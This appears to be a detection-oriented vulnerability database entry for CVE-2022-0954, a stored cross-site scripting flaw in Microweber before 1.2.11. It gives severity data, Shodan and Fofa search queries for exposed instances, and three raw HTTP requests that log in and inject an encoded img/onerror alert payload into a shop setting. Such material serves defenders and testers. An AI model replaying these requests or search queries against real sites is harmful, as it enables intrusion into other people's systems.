🔙 목록으로 돌아가기

CVE-2022-0954: Microweber <1.2.11 - Stored Cross-Site Scripting

TitleMicroweber <1.2.11 - Stored Cross-Site Scripting
Authoramit-jd
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpgrade Microweber to version 1.2.11 or later to mitigate this vulnerability.
CVSS Score5.4
EPSS Score0.05808
CVE IDCVE-2022-0954
CWE IDCWE-79
Shodan Queryhttp.favicon.hash:780351152http.html:"microweber"
Fofa Querybody="microweber"icon_hash=780351152
Tags cve2022 cve xss microweber huntr vuln

🔍 Vulnerability Description

Microweber before 1.2.1 contains multiple stored cross-site scripting vulnerabilities in Shop’s Other Settings, Autorespond E-mail Settings, and Payment Methods.

🌐 HTTP Request

POST /api/user_login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=nqsPop&password=ggPzzj
POST /api/save_option HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 166
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.victim.com/admin/view:shop/action:options
Accept-Encoding: gzip

option_key=checkout_url&option_group=shop&option_value=%22%3E%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert(document.domain)%3B%22%3E&module=shop%2Forders%2Fsettings%2Fother
POST /module/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Connection: close
Content-Length: 198
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.victim.com/admin/view:shop/action:options
Accept-Encoding: gzip

module=settings%2Fsystem_settings&id=settings_admin_mw-main-module-backend-settings-admin&class=card-body+pt-3&option_group=shop%2Forders%2Fsettings%2Fother&is_system=1&style=position%3A+relative%3B

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0954.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0954.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A